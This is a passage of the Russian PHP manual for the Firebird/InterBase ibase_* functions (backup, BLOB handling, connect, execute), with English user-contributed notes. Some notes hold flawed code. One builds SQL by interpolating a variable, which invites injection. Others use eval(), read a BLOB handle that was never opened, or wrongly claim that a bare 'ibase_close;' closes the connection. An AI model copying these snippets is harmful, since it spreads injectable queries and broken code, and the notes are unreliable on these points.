// Резервное копирование базы данных сотрудников, используя полный путь к /srv/backup/employees.fbk
// Не используйте никаких специальных аргументов
ibase_backup($service, '/srv/firebird/employees.fdb', '/srv/backup/employees.fbk');

// Освобождение подключённого соединения
ibase_service_detach ($service);
?>

Пример #2 Пример использования ibase_backup() с аргументами

<?php

// Подключиться к серверу базы данных по имени и порту по умолчанию
$service = ibase_service_attach ('fb-server.contoso.local', 'sysdba', 'masterkey');

// Запуск процесс резервного копирования на сервере базы данных
// Резервное копирование базы данных сотрудников с использованием псевдонима в /srv/backup/employees.fbk.
// Резервное копирование только метаданных. Не создавайте переносную резервную копию.
ibase_backup($service, 'employees.fdb', '/srv/backup/employees.fbk', IBASE_BKP_METADATA_ONLY | IBASE_BKP_NON_TRANSPORTABLE);

// Освобождение подключённого соединения
ibase_service_detach ($service);
?>

Смотрите также

  • ibase_restore() - Запускает задачу восстановления в диспетчере служб и немедленно возвращается

User Contributed Notes

Gara 11-Jan-2006 04:36
I tried to get the backup function working, but could never figur out where to get the resource service_handle. The trick was to use ibase_service_attach.

$resource_service_handle = ibase_service_attach ('localhost', 'username', 'password');

ibase_backup($resource_service_handle, 'source_database', 'destination_file');

ibase_service_detach ($resource_service_handle);


Добавляет данные во вновь созданный BLOB-объект

  • « ibase_backup
  • ibase_blob_cancel »
  • PHP Manual
  • Функции Firebird/InterBase
  • Добавляет данные во вновь созданный BLOB-объект

ibase_blob_add

(PHP 5, PHP 7 < 7.4.0)

ibase_blob_add — Добавляет данные во вновь созданный BLOB-объект

Описание

ibase_blob_add(resource $blob_handle, string $data): void

ibase_blob_add() добавляет данные в BLOB-объект, созданный с помощью ibase_blob_create().

Список параметров

blob_handle

Дескриптор BLOB-объекта, открытого с помощью ibase_blob_create().

data

Данные для добавления.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • ibase_blob_cancel() - Отменяет создания BLOB-объекта
  • ibase_blob_close() - Закрывает BLOB-объект
  • ibase_blob_create() - Создаёт новый BLOB-объект для заполнения данными
  • ibase_blob_import() - Создаёт BLOB-объект, копирует в него файл и закрывает его

User Contributed Notes

a dot w dot peters at ieee dot org 09-Dec-2004 07:48
To actually insert the BLOB into a table, the following snippet of code shows how this can be done.

<?php
  $dbh = ibase_connect($host, $user, $pass);

  $blh = ibase_blob_create($dbh);
  ibase_blob_add($blh, $data);
  $blobid = ibase_blob_close($blh);

  $sql = "INSERT INTO blobtable(blobfield) VALUES (?)";
  $sth = ibase_query($dbh, $sql, $blobid);
?>


Отменяет создания BLOB-объекта

  • « ibase_blob_add
  • ibase_blob_close »
  • PHP Manual
  • Функции Firebird/InterBase
  • Отменяет создания BLOB-объекта

ibase_blob_cancel

(PHP 5, PHP 7 < 7.4.0)

ibase_blob_cancel — Отменяет создания BLOB-объекта

Описание

ibase_blob_cancel(resource $blob_handle): bool

Эта функция отбрасывает BLOB-объект, если он ещё не был закрыт с помощью ibase_blob_close().

Список параметров

blob_handle

Дескриптор BLOB-объекта, открытый с помощью ibase_blob_create().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ibase_blob_close() - Закрывает BLOB-объект
  • ibase_blob_create() - Создаёт новый BLOB-объект для заполнения данными
  • ibase_blob_import() - Создаёт BLOB-объект, копирует в него файл и закрывает его

User Contributed Notes

There are no user contributed notes for this page.


Закрывает BLOB-объект

  • « ibase_blob_cancel
  • ibase_blob_create »
  • PHP Manual
  • Функции Firebird/InterBase
  • Закрывает BLOB-объект

ibase_blob_close

(PHP 5, PHP 7 < 7.4.0)

ibase_blob_close — Закрывает BLOB-объект

Описание

ibase_blob_close(resource $blob_handle): mixed

Эта функция закрывает BLOB-объект, открытый для чтения с помощью ibase_blob_open() или ibase_blob_create().

Список параметров

blob_handle

BLOB-объект, открытый с помощью ibase_blob_create() или ibase_blob_open().

Возвращаемые значения

Если BLOB-объект читался, функция возвращает true в случае успешного выполнения, если BLOB записывался, функция возвращает строку, содержащую идентификатор BLOB-объекта, который был назначен ей базой данных. В случае неудачи функция возвращает false.

Смотрите также

  • ibase_blob_cancel() - Отменяет создания BLOB-объекта
  • ibase_blob_open() - Открывает BLOB-объект для извлечения частей данных

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый BLOB-объект для заполнения данными

  • « ibase_blob_close
  • ibase_blob_echo »
  • PHP Manual
  • Функции Firebird/InterBase
  • Создаёт новый BLOB-объект для заполнения данными

ibase_blob_create

(PHP 5, PHP 7 < 7.4.0)

ibase_blob_create — Создаёт новый BLOB-объект для заполнения данными

Описание

ibase_blob_create(resource $link_identifier = null): resource|false

ibase_blob_create() создаёт новый BLOB-объект для заполнения данными.

Список параметров

link_identifier

Идентификатор ссылки InterBase. Если не указано, предполагается последняя открытая ссылка.

Возвращаемые значения

Возвращает дескриптор BLOB-объекта для последующего использования с ibase_blob_add() или false в случае возникновения ошибки.

Смотрите также

  • ibase_blob_add() - Добавляет данные во вновь созданный BLOB-объект
  • ibase_blob_cancel() - Отменяет создания BLOB-объекта
  • ibase_blob_close() - Закрывает BLOB-объект
  • ibase_blob_import() - Создаёт BLOB-объект, копирует в него файл и закрывает его

User Contributed Notes

There are no user contributed notes for this page.


Выводит содержимое BLOB-объекта в браузер

  • « ibase_blob_create
  • ibase_blob_get »
  • PHP Manual
  • Функции Firebird/InterBase
  • Выводит содержимое BLOB-объекта в браузер

ibase_blob_echo

(PHP 5, PHP 7 < 7.4.0)

ibase_blob_echo — Выводит содержимое BLOB-объекта в браузер

Описание

ibase_blob_echo(string $blob_id): bool
ibase_blob_echo(resource $link_identifier, string $blob_id): bool

Функция открывает BLOB-объект для чтения и отправляет его содержимое на стандартный вывод (в большинстве случаев - браузер).

Список параметров

link_identifier

Идентификатор ссылки InterBase. Если не указан, предполагается последняя открытая ссылка.

blob_id

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ibase_blob_open() - Открывает BLOB-объект для извлечения частей данных
  • ibase_blob_close() - Закрывает BLOB-объект
  • ibase_blob_get() - Получает количество байтов от открытого BLOB-объекта

User Contributed Notes

jure dot sah at monoliths dot com 20-Aug-2015 12:06
There is an alternative for getting text out of a blob that does not require as much code. Quoted from a handy online resource:

PHP offers natively the possibility of getting the BLOB data as a string.

For example ibase_fetch_assoc ( resource $result [, int $fetch_flag = 0 ] ) provides the $fetch_flag parameter which can be set to IBASE_TEXT, causing the function to return BLOB contents instead of BLOB ids.


Получает количество байтов от открытого BLOB-объекта

  • « ibase_blob_echo
  • ibase_blob_import »
  • PHP Manual
  • Функции Firebird/InterBase
  • Получает количество байтов от открытого BLOB-объекта

ibase_blob_get

(PHP 5, PHP 7 < 7.4.0)

ibase_blob_get — Получает количество байтов от открытого BLOB-объекта

Описание

ibase_blob_get(resource $blob_handle, int $len): string

Функция возвращает не более len байт из BLOB-объекта, который был открыт для чтения с помощью ibase_blob_open().

Замечание:

Невозможно прочитать из BLOB-объекта, который был открыт для записи с помощью ibase_blob_create().

Список параметров

blob_handle

BLOB-объект, открытый с помощью ibase_blob_open().

len

Размер возвращаемых данных.

Возвращаемые значения

Возвращает не более len байт из BLOB-объекта или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования ibase_blob_get()

<?php
$result = ibase_query("SELECT blob_value FROM table");
$data = ibase_fetch_object($result);
$blob_data = ibase_blob_info($data->BLOB_VALUE);
$blob_hndl = ibase_blob_open($data->BLOB_VALUE);
echo ibase_blob_get($blob_hndl, $blob_data[0]);
?>
Хотя этот пример делает не больше, чем 'ibase_blob_echo($data->BLOB_VALUE)', он показывает, как получить информацию в $variable для дальнейших манипуляций.

Смотрите также

  • ibase_blob_open() - Открывает BLOB-объект для извлечения частей данных
  • ibase_blob_close() - Закрывает BLOB-объект
  • ibase_blob_echo() - Выводит содержимое BLOB-объекта в браузер

User Contributed Notes

trinite at trinite dot mine dot nu 29-Dec-2005 03:33
The ways mentioned above won't work with segmented blobs. To fix this, I use the following:
(btw, $result->MFOTO is an image in the database)

<?php
    $result = ibase_fetch_object($result);

    /*
     ibase_blob_info array:
     [0] bloblength(total)
     [1] number of segments
     [2] size of largest segment
     [3] stream or segmented blob
     [4] ??
    */
    $blobinfo = ibase_blob_info($result->MFOTO);

    $blobhandle = ibase_blob_open($result->MFOTO);
    for($i = 0; $i < $blobinfo[1]; $i++){
        $readsize = $blobinfo[2];
        if($i == ($blobinfo[1] - 1)){
            $readsize = $blobinfo[0] - (($blobinfo[1] - 1) * $blobinfo[2]);
        }
        $totalimage .= ibase_blob_get($blobhandle, $readsize);
    }
    ibase_blob_close($blobhandle);
    echo $totalimage;
?>

This should do the trick ;)
hamacker 24-Nov-2004 06:03
The first example is wrong, is missing ibase_blob_close() function.
The correct example is :
<?php
   $sql      = "SELECT blob_value FROM table";
   $result    = ibase_query($sql);
   $data      = ibase_fetch_object($result);
   $blob_data = ibase_blob_info($data->BLOB_VALUE);
   $blob_hndl = ibase_blob_open($data->BLOB_VALUE);
   print        ibase_blob_get($blob_hndl, $blob_data[0]);
   // without close blob conection, php and ibase_blob_get() do not run.
  ibase_blob_close($blob_hndl);
?>
sol at nospam dot example dot com 18-Mar-2003 10:59
I found examples like these:

$sql = "SELECT ID, CONTENTTYPE, BLOBSIZE, DATA,NAME ";
$sql.= " FROM OM_BLOB WHERE ID = 42";
$result = ibase_query($sql);
while ($row=ibase_fetch_object($result))
{
    $blob_data = ibase_blob_info( $row->DATA);
    $blob_hndl = ibase_blob_open($row->DATA);
    $image = ibase_blob_get( $blob_hndl, $blob_data[0]);
}
but this won't work for large blobs.

One solution for big blobs is to retrieve them by chunks:

$sql = "SELECT ID, CONTENTTYPE, BLOBSIZE, DATA,NAME ";
$sql.= " FROM OM_BLOB WHERE ID = 42";
$result = ibase_query($sql);
while ($row=ibase_fetch_object($result))
{
    $image = ibase_blob_get($blob_hndl,8192);
    while($data = ibase_blob_get($blob_hndl, 8192)){
        $image .= $data;
    }
}


Создаёт BLOB-объект, копирует в него файл и закрывает его

  • « ibase_blob_get
  • ibase_blob_info »
  • PHP Manual
  • Функции Firebird/InterBase
  • Создаёт BLOB-объект, копирует в него файл и закрывает его

ibase_blob_import

(PHP 5, PHP 7 < 7.4.0)

ibase_blob_import — Создаёт BLOB-объект, копирует в него файл и закрывает его

Описание

ibase_blob_import(resource $link_identifier, resource $file_handle): string
ibase_blob_import(resource $file_handle): string

Функция создаёт BLOB-объект, считывает в него весь файл, закрывает его и возвращает назначенный идентификатор BLOB-объекта.

Список параметров

link_identifier

Идентификатор ссылки InterBase. Если не указан, предполагается последняя открытая ссылка.

file_handle

Дескриптор файла - возвращаемый функцией fopen().

Возвращаемые значения

Возвращает идентификатор BLOB-объекта в случае успешного выполнения, или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования ibase_blob_import()

<?php
$dbh = ibase_connect($host, $username, $password);
$filename = '/tmp/bar';

$fd = fopen($filename, 'r');
if ($fd) {

$blob = ibase_blob_import($dbh, $fd);
fclose($fd);

if (!is_string($blob)) {
// импорт не удался
} else {
$query = "INSERT INTO foo (name, data) VALUES ('$filename', ?)";
$prepared = ibase_prepare($dbh, $query);
if (!ibase_execute($prepared, $blob)) {
// запись не удалась
}
}
} else {
// невозможно открыть файл данных
}
?>

Смотрите также

  • ibase_blob_add() - Добавляет данные во вновь созданный BLOB-объект
  • ibase_blob_cancel() - Отменяет создания BLOB-объекта
  • ibase_blob_close() - Закрывает BLOB-объект
  • ibase_blob_create() - Создаёт новый BLOB-объект для заполнения данными

User Contributed Notes

There are no user contributed notes for this page.


Возвращает длину BLOB-объекта и другую полезную информацию

  • « ibase_blob_import
  • ibase_blob_open »
  • PHP Manual
  • Функции Firebird/InterBase
  • Возвращает длину BLOB-объекта и другую полезную информацию

ibase_blob_info

(PHP 5, PHP 7 < 7.4.0)

ibase_blob_info — Возвращает длину BLOB-объекта и другую полезную информацию

Описание

ibase_blob_info(resource $link_identifier, string $blob_id): array
ibase_blob_info(string $blob_id): array

Возвращает длину BLOB-объекта и другую полезную информацию.

Список параметров

link_identifier

Идентификатор ссылки InterBase. Если не указан, предполагается последняя открытая ссылка.

blob_id

Идентификатор BLOB-объекта.

Возвращаемые значения

Возвращает массив, содержащий информацию о BLOB-объекте. Возвращаемая информация состоит из длины BLOB-объекта, количества содержащихся в нем сегментов, размера самого большого сегмента и того, является ли он BLOB-потоком или сегментированным BLOB-объектом.

User Contributed Notes

There are no user contributed notes for this page.


Открывает BLOB-объект для извлечения частей данных

  • « ibase_blob_info
  • ibase_close »
  • PHP Manual
  • Функции Firebird/InterBase
  • Открывает BLOB-объект для извлечения частей данных

ibase_blob_open

(PHP 5, PHP 7 < 7.4.0)

ibase_blob_open — Открывает BLOB-объект для извлечения частей данных

Описание

ibase_blob_open(resource $link_identifier, string $blob_id): resource|false
ibase_blob_open(string $blob_id): resource|false

Открывает существующий BLOB-объект для чтения.

Список параметров

link_identifier

Идентификатор ссылки InterBase. Если не указан, предполагается последняя открытая ссылка.

blob_id

Идентификатор BLOB-объекта.

Возвращаемые значения

Возвращает дескриптор BLOB-объекта для последующего использования с помощью ibase_blob_get() или false в случае возникновения ошибки.

Смотрите также

  • ibase_blob_close() - Закрывает BLOB-объект
  • ibase_blob_echo() - Выводит содержимое BLOB-объекта в браузер
  • ibase_blob_get() - Получает количество байтов от открытого BLOB-объекта

User Contributed Notes

Kevin Hamilton 27-Feb-2006 01:39
While it is true that PHP4 allows only one parameter, it is not true that PHP5 allows only 2 parameters.  The correct function signature for PHP5 should be:

resource ibase_blob_open([ resource link_identifier, ] string blob_id)

If a link_identifier is not provided, then the "default" link_identifier will be used.  The default link identifier is assigned every time you call ibase_connect or ibase_pconnect, so if you have multiple connections it will be  whichever was connected LAST.


Закрывает соединение с базой данных InterBase

  • « ibase_blob_open
  • ibase_commit_ret »
  • PHP Manual
  • Функции Firebird/InterBase
  • Закрывает соединение с базой данных InterBase

ibase_close

(PHP 5, PHP 7 < 7.4.0)

ibase_close — Закрывает соединение с базой данных InterBase

Описание

ibase_close(resource $connection_id = null): bool

Закрывает ссылку на базу данных InterBase, связанную с идентификатором соединения, полученным с помощью ibase_connect(). Транзакция по умолчанию для ссылки зафиксирована, остальные транзакции отменены.

Список параметров

connection_id

Идентификатор ссылки InterBase, полученный с помощью ibase_connect(). Если не указан, предполагается последняя открытая ссылка.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ibase_connect() - Открывает соединение с базой данных
  • ibase_pconnect() - Открывает постоянное соединение с базой данных InterBase

User Contributed Notes

02-Apr-2002 03:18
Before close the connection remember to free your query results too...

$dbh = ibase_connect($host, $username, $password);
$stmt = 'SELECT * FROM tblname';
$sth = ibase_query($dbh, $stmt);
while ($row = ibase_fetch_object($sth)) {
    .............
}
ibase_free_result($sth);  //  <-------
ibase_close($dbh);


Фиксирует транзакцию, не закрывая её

  • « ibase_close
  • ibase_commit »
  • PHP Manual
  • Функции Firebird/InterBase
  • Фиксирует транзакцию, не закрывая её

ibase_commit_ret

(PHP 5, PHP 7 < 7.4.0)

ibase_commit_ret — Фиксирует транзакцию, не закрывая её

Описание

ibase_commit_ret(resource $link_or_trans_identifier = null): bool

Фиксирует транзакцию, не закрывая её.

Список параметров

link_or_trans_identifier

Если вызывается без аргумента, функция фиксирует транзакцию по умолчанию для ссылки по умолчанию. Если аргумент - идентификатор соединения, транзакция по умолчанию соответствующего соединения будет зафиксирована. Если аргумент - идентификатор транзакции, соответствующая транзакция будет зафиксирована. Контекст транзакции будет сохранён, поэтому операторы, выполненные из этой транзакции, не будут признаны недействительными.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Фиксирует транзакцию

  • « ibase_commit_ret
  • ibase_connect »
  • PHP Manual
  • Функции Firebird/InterBase
  • Фиксирует транзакцию

ibase_commit

(PHP 5, PHP 7 < 7.4.0)

ibase_commit — Фиксирует транзакцию

Описание

ibase_commit(resource $link_or_trans_identifier = null): bool

Фиксирует транзакцию.

Список параметров

link_or_trans_identifier

Если вызывается без аргумента, функция фиксирует транзакцию по умолчанию для ссылки по умолчанию. Если аргумент - идентификатор соединения, транзакция по умолчанию соответствующего соединения будет зафиксирована. Если аргумент - идентификатор транзакции, соответствующая транзакция будет зафиксирована.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Открывает соединение с базой данных

  • « ibase_commit
  • ibase_db_info »
  • PHP Manual
  • Функции Firebird/InterBase
  • Открывает соединение с базой данных

ibase_connect

(PHP 5, PHP 7 < 7.4.0)

ibase_connect — Открывает соединение с базой данных

Описание

ibase_connect(
string $database = ?,
string $username = ?,
string $password = ?,
string $charset = ?,
int $buffers = ?,
int $dialect = ?,
string $role = ?,
int $sync = ?
): resource

Устанавливает соединение с сервером Firebird/InterBase.

В случае повторного вызова ibase_connect() с теми же аргументами новая ссылка не будет установлена, вместо этого будет возвращён идентификатор уже открытой ссылки. Ссылка на сервер будет закрыта, как только завершится выполнение скрипта, если только она не была закрыта ранее явным вызовом ibase_close().

Список параметров

database

Аргумент database должен быть корректным путём к файлу базы данных на сервере, на котором он находится. Если сервер не является локальным, перед ним должно стоять префикс 'hostname:' (TCP / IP), 'hostname/port:' (TCP/IP с сервером interbase на настраиваемом порту TCP), '//hostname/' (NetBEUI), в зависимости от используемого протокола соединения.

username

Имя пользователя. Может быть установлено с помощью директивы ibase.default_user php.ini.

password

Пароль для username. Может быть установлен с помощью директивы ibase.default_password php.ini.

charset

charset является набором символов по умолчанию для базы данных.

buffers

buffers - это количество буферов базы данных, выделяемых для кеша на стороне сервера. Если 0 или не указано, сервер выбирает свой собственный по умолчанию.

dialect

dialect выбирает диалект SQL по умолчанию для любого оператора, выполняемого в соединении, по умолчанию он соответствует максимальному из поддерживаемых клиентских библиотек.

role

Функционально только с InterBase 5 и выше.

sync

Возвращаемые значения

Возвращает идентификатор ссылки Firebird/InterBase в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Если вы получите какую-то ошибку, например "arithmetic exception, numeric overflow, or string truncation. Cannot transliterate character between character sets" (происходит, когда вы пытаетесь использовать некоторые символы с ударениями), при использовании этого и после ibase_query() вы должны установить набор символов (например, ISO8859_1 или ваш текущий набор символов).

Примеры

Пример #1 Пример использования ibase_connect()

<?php
$host = 'localhost:/path/to/your.gdb';

$dbh = ibase_connect($host, $username, $password);
$stmt = 'SELECT * FROM tblname';
$sth = ibase_query($dbh, $stmt);
while ($row = ibase_fetch_object($sth)) {
echo $row->email, "\n";
}
ibase_free_result($sth);
ibase_close($dbh);
?>

Смотрите также

  • ibase_pconnect() - Открывает постоянное соединение с базой данных InterBase
  • ibase_close() - Закрывает соединение с базой данных InterBase

User Contributed Notes

fwrk at bk dot ru 19-Oct-2014 04:36
If you want to connect to interbase server runned on custom port (not default port 3050), you can specify it in "database" parameter in this way: 'hostname/port:' (TCP/IP with custom port).
Examples:
$dbh = ibase_connect('example.com/11099:dbalias', $username, $password);
$dbh = ibase_connect('example.com/11099:var/data/myibase.fdb', $username, $password);
$dbh = ibase_connect('example.com/11099:C:\\data\\mywinibase.fdb', $username, $password);
fb dot bird at gmail dot com 10-Aug-2007 02:32
Remember for different locations
of php.ini file:

..\xampp\php\php.ini
..\xampp\apache\bin\php.ini
..\xampp\php\php4\php.ini

Please do not confuse this
and know location _loaded_ *.ini-file!
ag at dividi dot de 20-Sep-2005 05:07
With php5 on Windows i couldnt connect to a firebird database with following error :

Warning: ibase_connect(): Unable to complete network request to host "localhost"
. Failed to locate host machine. Undefined service gds_db/tcp.  in C:\\wamp\\php\\ibase.php on line 5

the connect command was "$dbh = ibase_connect ("localhost:path_to_file.fdb", $username, $password);"

The solution is to insert the line
gds_db    3050/tcp    #firebird Database
into the windows services file %WINDIR%\\system32\\drivers\\etc\\services
Robert Silvia 04-Dec-2004 05:02
Just to update Simon's note...

Things must have been fixed since Simon wrote that note.
With PHP5 the following example works flawlessly:

$strconnect = 'localhost:/opt/firebird/examples/employee.fdb';

if (!($db=ibase_connect($strconnect, 'sysdba', 'yourpass', 'ISO8859_1', 0, 1)))
    die('Could not connect: ' .  ibase_errmsg());

  $sql  = "SELECT PO_NUMBER, ORDER_STATUS, ITEM_TYPE FROM SALES";
  $cursor = ibase_query($sql);
  $row_array = ibase_fetch_row($cursor);

  print_r($row_array);

  ibase_free_result($cursor);
  ibase_close($db);

Also you CAN get away with the following connection string:
ibase_connect('/opt/firebird/examples/employee.fdb', 'sysdba', 'yourpass')
sam at intranex.ru 05-Aug-2004 04:08
If you get a sloooow work of ibase_connect on Win2003, try to update your FireBird to version 1.5 or above, and your InterBase to version 7.1. Or move back to Win2000 :)
simon at thorndancer dot com 14-Jun-2003 11:22
I found it difficult to get anything working using the current documentation.
While logic would suggest that the format in the docs should work (being based on all the
syntax of other standard database access functions) I had problem after problem. Finally I
found some comments on a newgroup that helped, and this is the result.

This is actual production code (not a mere example). It works.
Don't ask me why it is so different from the official docs.

if ( ibase_connect( $db_filespec,$db_user,$db_pass_word) )
{
    $query  = "SELECT c.id, c.title, c.description ";
    $query .= "FROM collections c ";
    $query .= "WHERE (c.id = $page_id) ";

    $result = ibase_query( $query );

    $row_array = ibase_fetch_row($result);

    $row_fetched = !empty($row_array);

    if ($row_fetched)
    {
       // Extract the row into variables

        $collection_id   = $row_array[0];
       $edit_title      = $row_array[1];
       $edit_desc       = $row_array[2];

       // Standardise the record contents

        $collection_id   = $collection_id + 0;      // force type to numeric
     }

    // Wrap up the database side of things

     ibase_commit();     // note parenthesis but no parameters.

     ibase_close;        // note total lack of parenthesis and parameters !
}

You'll notice that there is no reference to a database handle in this code.
It seems to be implicit when dealing with interbase functions. Certainly, I couldn't
get the code to work when using it explicitly. This makes the documentation
very hard to work with, and any reference to a handle needs to be ignored.

Important: ibase_close doesn't work for me if I put parenthesis after it.
eg:
        ibase_close;        // works
        ibase_close();      // fails
        ibase_close($db);   // fails

Note: the line "if ($row_fetched)" could be replaced with "while ($row_fetched)"
if you need to process more than one record.

All that said, Interbase is a fantastic database to work with and IMHO a much
better choice than something like PostgreSQL if you need to move up from MySQL
to something more industrial strength. Just be sure to RTFM.
anthony at trams dot com 20-Nov-2000 07:44
If you get a message like: 'Dynamic SQL Error SQL error code = -901 feature is not supported', this may be caused by InterBASE client 6.01 accessing a server running 5.x.

Make sure the dialect value is set to '1', like the following:

ibase_connect ('localhost:/usr/db/db.gdb', 'SYSDBA', 'masterkey', 'ISO8859_1', '100', '1' ) ;

That last value is the dialect, but you need the two preceding also, do avoid errors.

Anthony


Запрашивает статистику базы данных

  • « ibase_connect
  • ibase_delete_user »
  • PHP Manual
  • Функции Firebird/InterBase
  • Запрашивает статистику базы данных

ibase_db_info

(PHP 5, PHP 7 < 7.4.0)

ibase_db_info — Запрашивает статистику базы данных

Описание

ibase_db_info(
resource $service_handle,
string $db,
int $action,
int $argument = 0
): string
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

User Contributed Notes

There are no user contributed notes for this page.


Удаляет пользователя из безопасной базы данных

  • « ibase_db_info
  • ibase_drop_db »
  • PHP Manual
  • Функции Firebird/InterBase
  • Удаляет пользователя из безопасной базы данных

ibase_delete_user

(PHP 5, PHP 7 < 7.4.0)

ibase_delete_user — Удаляет пользователя из безопасной базы данных

Описание

ibase_delete_user(resource $service_handle, string $user_name): bool

Список параметров

service_handle

Дескриптор службы сервера базы данных.

user_name

Имя пользователя, которого вы хотите удалить из базы данных.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ibase_add_user() - Добавляет пользователя в безопасную базу данных
  • ibase_modify_user() - Изменяет пользователя в безопасной базе данных

User Contributed Notes

There are no user contributed notes for this page.


Удаляет базу данных

  • « ibase_delete_user
  • ibase_errcode »
  • PHP Manual
  • Функции Firebird/InterBase
  • Удаляет базу данных

ibase_drop_db

(PHP 5, PHP 7 < 7.4.0)

ibase_drop_db — Удаляет базу данных

Описание

ibase_drop_db(resource $connection = null): bool

Функция удаляет базу данных, которая была открыта либо с помощью ibase_connect(), либо ibase_pconnect(). База данных закрывается и удаляется с сервера.

Список параметров

connection

Идентификатор ссылки InterBase. Если не указан, предполагается последняя открытая ссылка.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ibase_connect() - Открывает соединение с базой данных
  • ibase_pconnect() - Открывает постоянное соединение с базой данных InterBase

User Contributed Notes

There are no user contributed notes for this page.


Возвращает код ошибки

  • « ibase_drop_db
  • ibase_errmsg »
  • PHP Manual
  • Функции Firebird/InterBase
  • Возвращает код ошибки

ibase_errcode

(PHP 5, PHP 7 < 7.4.0)

ibase_errcode — Возвращает код ошибки

Описание

ibase_errcode(): int

Возвращает код ошибки, полученный в результате последнего вызова функции InterBase.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает код ошибки в виде целого числа или false, если ошибки не произошло.

Смотрите также

  • ibase_errmsg() - Возвращает сообщение об ошибке

User Contributed Notes

There are no user contributed notes for this page.


Возвращает сообщение об ошибке

  • « ibase_errcode
  • ibase_execute »
  • PHP Manual
  • Функции Firebird/InterBase
  • Возвращает сообщение об ошибке

ibase_errmsg

(PHP 5, PHP 7 < 7.4.0)

ibase_errmsg — Возвращает сообщение об ошибке

Описание

ibase_errmsg(): string

Возвращает сообщение об ошибке, полученное в результате последнего вызова функции InterBase.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает сообщение об ошибке в виде строки или false если ошибки не произошло.

Смотрите также

  • ibase_errcode() - Возвращает код ошибки

User Contributed Notes

There are no user contributed notes for this page.


Выполняет предварительно подготовленный запрос

  • « ibase_errmsg
  • ibase_fetch_assoc »
  • PHP Manual
  • Функции Firebird/InterBase
  • Выполняет предварительно подготовленный запрос

ibase_execute

(PHP 5, PHP 7 < 7.4.0)

ibase_execute — Выполняет предварительно подготовленный запрос

Описание

ibase_execute(resource $query, mixed ...$values): resource

Выполняет запрос, подготовленный с помощью ibase_prepare().

Это намного эффективнее, чем использование ibase_query(), если вы повторяете один и тот же тип запроса несколько раз, изменяя только некоторые параметры.

Список параметров

query

Запрос InterBase, подготовленный с помощью ibase_prepare().

values

Возвращаемые значения

Если запрос вызывает ошибку, возвращает false. Если запрос выполнен успешно, и есть (возможно пустой) набор результатов (как при запросе SELECT), возвращает идентификатор результата. Если запрос выполнен успешно и результатов не было, возвращается true.

Замечание:

Функция возвращает количество строк, затронутых запросом (если > 0 и применимо к типу оператора). Если запрос выполнен успешно, но не затронул ни одну строку (например, UPDATE несуществующей записи), вернёт true.

Примеры

Пример #1 Пример использования ibase_execute()

<?php

$dbh = ibase_connect($host, $username, $password);

$updates = array(
1 => 'Eric',
5 => 'Filip',
7 => 'Larry'
);

$query = ibase_prepare($dbh, "UPDATE FOO SET BAR = ? WHERE BAZ = ?");

foreach ($updates as $baz => $bar) {
ibase_execute($query, $bar, $baz);
}

?>

Смотрите также

  • ibase_query() - Выполняет запрос к базе данных InterBase

User Contributed Notes

caveman 24-Jan-2003 10:18
ibase_execute only return resource id not the actual result, you need to use ibase_fetch_row or ibase_fetch_object to retrieve actual result.

On the example above given by anthony
it should be like these

 $dbh = ibase_connect ( $host, $username, $password ) ;
 $stmt = 'SELECT * FROM "EMPLOYEE" WHERE "SALARY" = ? AND "DEPT_CD" = ? ;' ;
 $prep = ibase_prepare ( $dbh, $stmt ) ;

 $salary = Array ( "10000", "25000", "33000", "48000" ) ;
 $dept_cd = 'SALES' ;

 foreach ( $salary as $val ) {
   $res = ibase_execute ($prep, $val, $dept_cd);
   $taxForm[$val] = ibase_fetch_row ($res);
}
mclap at ulstu dot ru 07-Sep-2002 06:54
For variable argument list in ibase_execute you can use folowing functions:

For PHP >= 4.0.4:

function db_execute($stmt,$data)
{
    if(!is_array($data))
        return ibase_execute($stmt,$data);
    array_unshift($data,$stmt);
    $rc=call_user_func_array('ibase_execute',$data);
    return $rc;
}

For any version of PHP:
function db_execute($stmt,$data)
{
    if(!is_array($data))
        return ibase_execute($stmt,$data);

    $params = array();
    while( list($k,$v) = each($data) )
        $params[$k] = '$data['.$k.']';
    eval('$rc=ibase_execute($stmt,'.join(',',$params).');');

    return $rc;
}


Извлекает строку результата из запроса в виде ассоциативного массива

  • « ibase_execute
  • ibase_fetch_object »
  • PHP Manual
  • Функции Firebird/InterBase
  • Извлекает строку результата из запроса в виде ассоциативного массива

ibase_fetch_assoc

(PHP 5, PHP 7 < 7.4.0)

ibase_fetch_assoc — Извлекает строку результата из запроса в виде ассоциативного массива

Описание

ibase_fetch_assoc(resource $result, int $fetch_flag = 0): array

Извлекает строку результата из запроса в виде ассоциативного массива

ibase_fetch_assoc() извлекает одну строку данных из результата. Если два или более столбца результата имеют одинаковые наименования полей, последний столбец будет иметь приоритет. Чтобы получить доступ к другим столбцам с тем же именем, вам нужно либо получить доступ к результату с помощью числовых индексов функцией ibase_fetch_row(), либо использовать псевдонимы в своём запросе.

Список параметров

result

Дескриптор результата.

fetch_flag

fetch_flag представляет собой комбинацию констант IBASE_TEXT и IBASE_UNIXTIME ORed. Передача IBASE_TEXT заставит функцию возвращать содержимое BLOB-объектов вместо идентификаторов BLOB-объектов. Передача IBASE_UNIXTIME заставит функцию возвращать значения даты/времени как метки времени Unix, а не как отформатированные строки.

Возвращаемые значения

Возвращает ассоциативный массив, соответствующий выбранной строке. Последующие вызовы вернут следующую строку в наборе результатов или false, если строк больше нет.

Смотрите также

  • ibase_fetch_row() - Извлекает строку из базы данных InterBase
